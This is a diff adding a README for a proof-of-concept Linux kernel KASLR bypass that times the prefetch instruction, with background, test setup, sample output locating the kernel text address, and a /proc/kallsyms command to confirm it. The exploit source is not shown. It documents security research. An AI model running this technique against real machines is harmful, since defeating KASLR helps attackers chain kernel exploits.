|
| 1 | +KASLR bypass via prefetch side-channel |
| 2 | +====================================== |
| 3 | + |
| 4 | +Note: dilettante implementation, better read [the original paper](https://gruss.cc/files/prefetch.pdf). |
| 5 | + |
| 6 | +This is a proof-of-concept exploit for a KASLR bypass for the Linux kernel via timing the prefetch instruction. |
| 7 | +Inspired by [a blogpost by Anders Fogh](http://dreamsofastone.blogspot.ru/2016/02/breaking-kasrl-with-micro-architecture.html). |
| 8 | + |
| 9 | +The exploit works by measuring the time required to prefetch a particular address in the kernel space. |
| 10 | +The idea is that a prefetch instruction is faster on virtual addresses which actually map to a page. |
| 11 | +The used measuring approach is kind of best effort, but seems to be working. |
| 12 | +See the source code for details. |
| 13 | + |
| 14 | +The exploit was tested on a machine with Intel Core i7-4510 running Ubuntu 15.10 with 4.2.0-16-generic kernel and KASLR enabled. |
| 15 | +Other setups might require other threshold values or a different number of measuring steps for the exploit to work. |
| 16 | +I'd guess that it might not work at all for some CPUs. |
| 17 | + |
| 18 | +Since [the KASLR for the Linux kernel is not really that random](https://lwn.net/Articles/569635/), the number of slots for the kernel text is quite limited, which allows to figure out the text location in a reasonable time. |
| 19 | + |
| 20 | +Usage: |
| 21 | +``` bash |
| 22 | +$ python poc.py |
| 23 | +0xffffffff80000000 0.8125 |
| 24 | +0xffffffff80000000 rejected |
| 25 | +0xffffffff81000000 0.875 |
| 26 | +0xffffffff81000000 rejected |
| 27 | +0xffffffff82000000 0.125 |
| 28 | +0xffffffff82000000 0.125 |
| 29 | +0xffffffff82000000 0.625 |
| 30 | +0xffffffff82000000 rejected |
| 31 | +0xffffffff83000000 0.375 |
| 32 | +0xffffffff83000000 rejected |
| 33 | +0xffffffff84000000 0.0625 |
| 34 | +0xffffffff84000000 0.0 |
| 35 | +0xffffffff84000000 0.0625 |
| 36 | +0xffffffff84000000 0.125 |
| 37 | +0xffffffff84000000 0.0625 |
| 38 | +0xffffffff84000000 rejected |
| 39 | +0xffffffff85000000 0.25 |
| 40 | +0xffffffff85000000 0.0625 |
| 41 | +0xffffffff85000000 0.0 |
| 42 | +0xffffffff85000000 0.25 |
| 43 | +0xffffffff85000000 0.0625 |
| 44 | +0xffffffff85000000 rejected |
| 45 | +0xffffffff86000000 0.875 |
| 46 | +0xffffffff86000000 rejected |
| 47 | +0xffffffff87000000 0.875 |
| 48 | +0xffffffff87000000 rejected |
| 49 | +0xffffffff88000000 0.375 |
| 50 | +0xffffffff88000000 rejected |
| 51 | +0xffffffff89000000 0.125 |
| 52 | +0xffffffff89000000 0.9375 |
| 53 | +0xffffffff89000000 rejected |
| 54 | +0xffffffff8a000000 0.3125 |
| 55 | +0xffffffff8a000000 rejected |
| 56 | +0xffffffff8b000000 0.25 |
| 57 | +0xffffffff8b000000 0.1875 |
| 58 | +0xffffffff8b000000 0.875 |
| 59 | +0xffffffff8b000000 rejected |
| 60 | +0xffffffff8c000000 0.5625 |
| 61 | +0xffffffff8c000000 rejected |
| 62 | +0xffffffff8d000000 0.0 |
| 63 | +0xffffffff8d000000 0.0 |
| 64 | +0xffffffff8d000000 0.0 |
| 65 | +0xffffffff8d000000 0.0 |
| 66 | +0xffffffff8d000000 0.0 |
| 67 | +0xffffffff8d000000 accepted |
| 68 | +the kernel is probably at 0xffffffff8d000000 |
| 69 | +``` |
| 70 | + |
| 71 | +You can confirm the kernel text address with: |
| 72 | +``` bash |
| 73 | +$ sudo cat /proc/kallsyms | grep 'T _text' |
| 74 | +ffffffff8d000000 T _text |
| 75 | +``` |
0 commit comments